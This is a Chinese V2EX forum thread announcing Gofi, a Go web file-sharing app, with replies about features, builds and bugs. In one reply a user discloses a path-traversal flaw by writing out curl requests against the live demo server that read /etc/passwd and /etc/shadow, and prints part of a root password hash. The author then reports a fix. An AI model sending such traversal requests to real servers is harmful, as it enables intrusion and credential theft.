V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
爱意满满的作品展示区。
Smash
V2EX  ›  分享创造

一个用 Go 语言实现的 Web 网盘应用-Gofi

  •  4
     
  •   Smash · 2019-12-14 00:02:09 +08:00 · 12210 次点击
    这是一个创建于 1835 天前的主题,其中的信息可能已经有所发展或是发生改变。

    最近在继续学习 go 语言,又在折腾 nas,遂花了点时间写了一个简单的网盘 Web 应用,类似 filebrowser/filebrowser(非模仿,我也是快写好了才知道有一个轮子了)。

    技术栈是 Golang + Ant Design Vue(几个月没写代码了,轻喷)

    目前主要是我家庭局域网在用,没有做权限认证,所以没有任何安全性保证,请不要在公网上部署。

    应该会断断续续更新,因为明年中旬结婚前可能都不准备当社畜了,所以这段时间主要是在筹备婚礼,减脂,写点小代码,等待判决书下达,思考人生。

    Github 地址:

    https://github.com/Sloaix/Gofi

    更新计划:

    https://github.com/Sloaix/Gofi/projects

    上面 deadline 就不要当真了,因为每个月总有那么几天不想写代码:)。

    希望对大家有点小用。

    V2EX image uploaded by TsingScript
    第 1 条附言  ·  2019-12-14 00:44:17 +08:00
    由于所有前端静态文件都由 bindata 生成的二进制文件内嵌到 Go 内部,所以只有一个可执行文件,并且使用了 sqlite3,十分容易部署。
    第 2 条附言  ·  2019-12-14 11:43:25 +08:00
    任意文件下载漏洞已经修复。
    第 3 条附言  ·  2019-12-14 13:38:37 +08:00
    第 4 条附言  ·  2019-12-14 17:31:33 +08:00
    如果是要自己编译的话,不建议自己在 Windows 上编译,因为环境比较难配置。而且编译部分文档暂时没有(文档网站已经开始搭建,迭代暂时暂停,12 月 17 日前应该有一个初步的文档),只有 build.sh 脚本,如果你想自己编译,由于使用了 xgo,还需要安装 docker 才行,同时需要安装 golang,yarn,然后运行./build.sh 即可,默认输出到 output 目录。
    第 5 条附言  ·  2019-12-14 23:58:01 +08:00
    文档网址: https://gofi-doc.sloaix.com

    还比较粗糙
    第 6 条附言  ·  2019-12-17 15:47:33 +08:00
    图片挂了,补个图
    https://imgchr.com/i/QomOS0
    第 7 条附言  ·  2019-12-17 15:48:03 +08:00
    <img src="https://s2.ax1x.com/2019/12/17/QomOS0.md.jpg" alt="QomOS0.jpg" border="0" />
    57 条回复    2021-09-07 20:33:07 +08:00
    Smash
        1
    Smash  
    OP
       2019-12-14 00:03:08 +08:00
    PS.可以在吃灰的 Android 手机上部署,我已经在 Nexus5 上部署成功。
    Smash
        2
    Smash  
    OP
       2019-12-14 00:05:12 +08:00
    预览网址:

    http://gofi.sloaix.com
    KasuganoSoras
        3
    KasuganoSoras  
       2019-12-14 00:07:29 +08:00
    界面好评,比隔壁某闭源网盘好看多了
    wslwsl
        4
    wslwsl  
       2019-12-14 07:22:59 +08:00 via Android
    好看,赞,最好手机端加个下载按钮就更方便了。
    Smash
        5
    Smash  
    OP
       2019-12-14 08:00:06 +08:00 via Android
    @wslwsl #4 还没有适配手机。。。
    slwl
        6
    slwl  
       2019-12-14 08:02:17 +08:00 via iPhone
    什么时候加个权限控制,感觉很好用哈
    takemeh
        7
    takemeh  
       2019-12-14 08:47:12 +08:00   ❤️ 3
    @KasuganoSoras 你说的是我写的这个吗 http://cnt2.cf:5156/
    @slwl 我那个有权限,体积小,能放 OpenWrt 上运行。
    takemeh
        8
    takemeh  
       2019-12-14 08:53:12 +08:00   ❤️ 2
    @slwl 演示地址的密码和用户名都是 abc
    界面很简陋的,和楼主的比起来相形见绌。
    Smash
        9
    Smash  
    OP
       2019-12-14 08:55:15 +08:00 via Android
    @slwl #6 这个会加上的,不 2019 年来不及了。想加的功能有点多。
    bequt
        10
    bequt  
       2019-12-14 09:19:26 +08:00 via Android
    @takemeh 网址挂了
    bequt
        11
    bequt  
       2019-12-14 09:22:09 +08:00 via Android   ❤️ 1
    @takemeh 恢复了,图标换新了耶
    rootooroot
        12
    rootooroot  
       2019-12-14 10:33:46 +08:00   ❤️ 1
    任意文件下载 权限太高了 连 shadow 都可以读
    http://129.226.186.76/api/download?path=../../../etc/passwd

    curl http://129.226.186.76/api/download\?path\=../../../../etc/issue
    Ubuntu 16.04.1 LTS \n \l

    curl http://129.226.186.76/api/download\?path\=../../../../etc/shadow
    root:$6$8jFcAk07$dZc99NqV8EtKk8mH53Ayi8gS8JhejmWemtppqCmC2Z0yj7vfMXxXrDMf
    jngke931126
        13
    jngke931126  
       2019-12-14 10:49:25 +08:00
    @takemeh #7 你这个 webd 算是比较实用了,基本功能都有了,也没有楼上那个跨出目录读取任意文件漏洞。
    期待一下能不能支持多用户呢,每个用户一个目录,相互之间能用权限分离控制。
    以及 https 支持,这个部署到外网很有必要了。

    同时非常好奇这些功能怎么到这么小体积的,
    略微看了下,没有引用外部东西,可执行文件也没有压缩加壳。

    意外的是 linux 可执行文件原来可以跨不同发行版运行啊,之前一直以为要重新编译。

    你还应该好好做个网站,感觉正规一些,直接用个带端口的演示地址感觉对不起这个软件。
    下载到的版本和演示版本外观不一样啊,还没有更新吗?

    最后希望这种自建方案越来越多,选择多了那些公用盘才不会限速。
    Smash
        14
    Smash  
    OP
       2019-12-14 10:49:35 +08:00 via Android
    @rootooroot #12 看到了,谢谢老哥。我先把安全这块简单处理一下吧。
    takemeh
        15
    takemeh  
       2019-12-14 11:30:10 +08:00   ❤️ 1
    @jngke931126
    webd 这个体积实现这些功能是正常的,本来就是很简单的东西。
    一些 app 很大是因为增加了对用户没有必要的额外东西,或把部分功能前置到了客户端。
    linux 的二进制兼容性本来就很好,只要不用到太高版本内核和 glibc 的特性基本没问题。
    webd 只依赖内核和 C 运行库(glibc 或 musl)
    你说的功能我尽量实现吧。演示版和下载到的不一样是因为正在开发中。
    richzhu
        16
    richzhu  
       2019-12-14 11:46:51 +08:00
    界面满分,等完善了 权限控制,资源预览,文本在线编辑了再来用 哈哈~
    xyok
        17
    xyok  
       2019-12-14 12:10:03 +08:00
    挺不错的,logo 图标也是自己设计的吗
    alexliux
        18
    alexliux  
       2019-12-14 13:29:23 +08:00 via Android
    star 学习一波
    Smash
        19
    Smash  
    OP
       2019-12-14 13:39:15 +08:00   ❤️ 1
    @xyok 自己设计的,用手绘板出个草图,再用 PS 出的矢量图。
    Smash
        20
    Smash  
    OP
       2019-12-14 13:41:27 +08:00
    @takemeh 你的网盘挺好,体积小,加载速度快。我的 gofi 前端体积还没优化,放在香港的服务器上光加载 js 就挺慢了。
    yukiloh
        21
    yukiloh  
       2019-12-14 13:56:18 +08:00 via Android
    卧槽可以在安卓上跑这个就有点骚了,手上太多吃灰安卓
    FEDT
        22
    FEDT  
       2019-12-14 14:17:11 +08:00 via iPhone
    厉害👍🏻
    Smash
        23
    Smash  
    OP
       2019-12-14 15:23:42 +08:00
    @yukiloh 在 Android 的 /data/local/tmp 目录下,adb 用户具有可执行权限。使用 nohup ./gofi &命令可以启动一个后台运行的 gofi 程序,我在 Nexus5,魅族 mx4 上都测试过了,可以完全运行,但是国内的定制手机对于 adb 用户的目录权限不一样,比如原生系统对 Storage 目录是具有读写权限的,但是我在 mx4 上就只有 /data/local/tmp 目录的读写权限。
    Smash
        24
    Smash  
    OP
       2019-12-14 15:25:26 +08:00
    @yukiloh 目前可以跑,但是挂了之后不能重启,所以如果要在 Android 上跑,还需要搞一个守护进程用来重启 Gofi,这样才能保证稳定性。
    crella
        25
    crella  
       2019-12-14 16:33:45 +08:00
    请问 windows 上怎么编译,要用 msys 吗?
    Smash
        26
    Smash  
    OP
       2019-12-14 17:15:00 +08:00
    @crella release 页面已经编译好了,我默认编译了 MacOS/Windows/Linux/Android(Arm)这几个常用的平台
    slwl
        27
    slwl  
       2019-12-14 17:16:03 +08:00
    吃灰派用来干这个如何
    Smash
        28
    Smash  
    OP
       2019-12-14 17:26:49 +08:00
    @slwl 我有个 zero 和 3B,还没来得及在上面跑过,你可以试试。
    Smash
        29
    Smash  
    OP
       2019-12-14 17:30:41 +08:00
    @crella 如果是要自己编译的话,不建议自己在 Windows 上编译,因为环境比较难配置。而且编译部分文档暂时没有,只有 build.sh 脚本,如果你想自己编译,由于使用了 xgo,还需要安装 docker 才行,同时需要安装 golang,yarn,然后运行./build.sh 即可,默认输出到 output 目录。
    keepeye
        30
    keepeye  
       2019-12-14 17:42:31 +08:00
    我想起了 13 年毕业设计,用 php 撸了个网盘系统,还是分布式存储的
    crella
        31
    crella  
       2019-12-14 17:51:28 +08:00 via Android
    我在 win7 上启动进程成功,打开网页会发生错误,网页右上角弹出窗口提示错误:undefined。
    从 release 最近一个 win64 的链接下载的。不知道是不是没设定文件夹?
    Smash
        32
    Smash  
    OP
       2019-12-14 18:14:05 +08:00
    @crella 我好久没在 Windows 上跑过了,我试一下。
    Smash
        33
    Smash  
    OP
       2019-12-14 18:21:16 +08:00
    @crella 自动获取局域网 ip 出错了,你可能有多个网卡。我这边复现了,你先手动指定一下 ip 吧。用命令行运行 gofi.exe -ip <你的局域网 ip 或者 127.0.0.1>
    Smash
        34
    Smash  
    OP
       2019-12-14 18:22:28 +08:00
    @crella 这个 ip 地址主要是服务端提供的 api 的 ip,供前端请求。
    crella
        35
    crella  
       2019-12-14 18:25:17 +08:00 via Android
    是的,有 vmplayer 网卡和直升机跑道
    Smash
        36
    Smash  
    OP
       2019-12-14 18:25:22 +08:00
    @crella Windows 上的 Gofi,后端 ls api 貌似存在兼容性问题,这块要等我修复一下了。
    crella
        37
    crella  
       2019-12-14 19:34:56 +08:00   ❤️ 1
    我给本机上的虚拟机 linux 上的 gofi 上传一个 700M 的 iso,多次提醒 You have reached maximum request limit. 好奇问一下是什么意思?

    ![gofi.jpg]( https://i.loli.net/2019/12/14/my1KIAqgsSYVwju.jpg)
    SteveAlan
        38
    SteveAlan  
       2019-12-14 21:06:56 +08:00
    界面是用的 ant design 吗?
    Smash
        39
    Smash  
    OP
       2019-12-14 21:23:28 +08:00 via Android
    @crella #37 @crella #37 应该只有在预览模式才有请求频率限制的。启动的时候会打印当前的 environment,能截下图吗
    Smash
        40
    Smash  
    OP
       2019-12-14 21:23:44 +08:00 via Android
    @SteveAlan #38 恩
    Hoshizora
        41
    Hoshizora  
       2019-12-14 22:44:08 +08:00 via Android
    0.5 arm 的那个在手机上运行不了,0.4 的可以,当初始化失败,好像是 sqlite 那出问题了
    Smash
        42
    Smash  
    OP
       2019-12-14 23:56:41 +08:00
    @Hoshizora 我在 issue 上记录一下。兼容性问题
    Smash
        43
    Smash  
    OP
       2019-12-15 03:12:57 +08:00
    @crella 已经在 develop 分支修复了,我明天打个 fix 包
    Tink
        44
    Tink  
       2019-12-15 14:30:23 +08:00 via iPhone
    开源好评
    Smash
        45
    Smash  
    OP
       2019-12-15 23:02:10 +08:00
    @crella v0.5.1 已经 release 并修复. gofi-v0.5.1-windows-4.0-amd64.exe
    Smash
        46
    Smash  
    OP
       2019-12-15 23:13:54 +08:00
    bijue
        47
    bijue  
       2019-12-16 07:30:46 +08:00 via Android
    等待什么判决书?
    Maboroshii
        48
    Maboroshii  
       2019-12-16 11:16:47 +08:00
    看了一下只有配置项保存在了 sqlite 里,用 json 保存在文件里我觉得也行,毕竟量不大。
    sqlite 用了 cgo,不方便交叉编译呀。
    Smash
        49
    Smash  
    OP
       2019-12-16 13:10:46 +08:00
    @Maboroshii 目前是可以这样,配置项用文本文件存储,但是我想到后面要做权限认证,这个还是用数据库更方便一些。交叉编译这块目前用的开源库 xgo 实现的。
    Smash
        50
    Smash  
    OP
       2019-12-16 13:11:54 +08:00
    @bijue 想听故事的话,可以看看我时间线。
    vix
        51
    vix  
       2019-12-17 12:30:46 +08:00 via Android
    以前也是玩着实现了个,不过好久没维护了,惭愧。
    Smash
        52
    Smash  
    OP
       2019-12-17 15:40:38 +08:00
    @vix 所以不是国外的好的开源项目就多,而是国内的工程师们都忙于 996 了,233333。
    caik13
        53
    caik13  
       2019-12-18 11:26:19 +08:00
    感谢分享,找了好久 golang 这种的
    tallest
        54
    tallest  
       2019-12-20 15:04:52 +08:00
    lijixi
        55
    lijixi  
       2019-12-27 16:05:33 +08:00
    今天简单研究了几个私有网盘,请教:@smash 您的这个项目比 [filebrowser]( https://github.com/filebrowser/filebrowser) 强在何处呢?
    Smash
        56
    Smash  
    OP
       2019-12-27 17:54:42 +08:00 via Android
    @lijixi #55 那个项目貌似开发者没维护了,社区在维护。主要是差异化吧,想集成的功能不太一样。
    cheek
        57
    cheek  
       2021-09-07 20:33:07 +08:00
    @Smash 作者你好,能 Release 一个 Windows 32 位的吗?老电脑使用 :)
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2879 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 40ms · UTC 12:56 · PVG 20:56 · LAX 04:56 · JFK 07:56
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.